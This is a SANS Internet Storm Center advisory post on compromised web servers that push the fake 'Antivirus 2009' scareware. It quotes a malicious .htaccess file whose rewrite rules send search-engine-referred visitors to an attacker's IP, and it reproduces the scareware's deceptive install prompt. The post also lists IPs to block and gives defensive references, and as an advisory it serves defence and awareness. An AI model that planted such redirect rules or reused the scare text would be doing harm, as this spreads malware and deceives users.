SANS ISC: Fake antivirus 2009 and search engine results

• SANS Site Network
  • Current Site
  • SANS Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • DFIR
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

Web servers have been compromised and their .htaccess files have been modified.

Here you can see an example of a modified .htacces
http://forums.devnetwork.net/viewtopic.php?f=6&t=85984

"# RewriteEngine On
# RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
# RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
# RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
# RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
# RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
# RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
# RewriteRule .* http://87.248.180.88/in.html?s=hg [R,L]
# Errordocument 404 http://87.248.180.88/in.html?s=hg_err"

Another site that was compromised and searches redirected is discussed here:

http://groups.google.com/group/Google_Webmaster_Help-Indexing/msg/0cd2cafd907a0380

I don't know how the systems are being compromised at this point.

I modified the names of the sites in use below substituting 3 for e to prevent further search engine hit increases:)

Their .htaccess is being modified to rewrite requests. Specifically they
are redirecting to sites that "advertise" antivirus2008 or antivirus2009 when several search engines try to spider the original site.
They redirect most of the search engines there (google, yahoo, altavista...).
I believe that is how they are getting their fake av into the search engines with a HIGH hit rate.

The site I was seeing in use was int3rn3t-d3f3ns3s .com
Which is an "ad" for anti-virus2009. Here is the "scary text" from
freescan.php that is being used to convince victims to load this fake-av software.

 "ATTENTION! If your computer is infected, you could suffer
data loss,erratic PC behaviour, PC freezes and crashes.

Detect and remove viruses before they damage your computer!
Antivirus 2009 will perform a quick and 100% FREE scan of your computer for Viruses, Spyware and Adware.

Do you want to install Antivirus 2009 to scan your computer for malware now? (Recommended)


'Antivirus 2009 will scan your system for threats now.

Please select "RUN" or "OPEN" when prompted to start the installation.

This file has been digitally signed and independently certified as 100% free of viruses, adware and spyware."


int3rn3t-d3f3ns3s.com is at 84.16.252.73 I recommend blocking that at your enterprise gateway.
Prt3ctionactiv3scan .com which is mentioned in the sunbelt blog is at 78.159.118.168 blocking that
at your gateway is also recommended.

There is a blog here about some of these fake av sites.
http://ddanchev.blogspot.com/2008/08/diverse-portfolio-of-fake-security.html
Microsoft mvp Harry Waldron blogged about it here.
http://msmvps.com/blogs/harrywaldron/archive/2008/08/15/antivirus-2009-avoid-these-fake-antivirus-trojan-attacks.aspx
The popups they use are so convincing that the daughter of fellow handler Deb Hale installed the 2008 version of it.
http://isc.sans.org/diary.html?storyid=4849
Sunbelt did a good write up of it here and has been tracking the sites involved.
http://sunbeltblog.blogspot.com/2008/09/scam-sites-update-iii.html
If you need antivirus software icsa labs has a useful collection of valid links here:
https://www.icsalabs.com/icsa/topic.php?tid=cfe0$3d83e732-011a28d6$5ac9-0f77e15b